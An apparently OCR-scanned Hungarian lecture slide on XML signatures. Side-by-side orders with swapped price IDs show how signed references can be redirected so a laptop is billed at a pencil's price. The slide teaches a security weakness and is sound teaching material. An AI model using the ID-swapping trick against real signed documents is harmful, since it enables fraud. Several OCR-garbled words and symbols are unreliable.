Uizenetek vagy azok részeinek hitelességét

<order> <order>
<item> <item>
<name>Pencil</name> <name>Pencil</name>
<price ID="p1">$1</price> <price ID="p2">$256@</price>
</item> </item>
<item> <item>
<name>Laptop</name> <name>Laptop</name>
<price ID="p2">$256@</price> <price ID="p1">$1</price>
</item> </item>
</order> </order>
<signature.. <signature..
<Reference .. URI="#p1"> <Reference .. URI="#pl">
</Reference> </Reference>
<Reference .. URI="#p2"> <Reference .. URI="#p2">
</Reference> </Reference>
</signature> </signature>

@ Trivialis? Az XML melyik részét irjuk ala?
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Kbészdndm a figyelmet!
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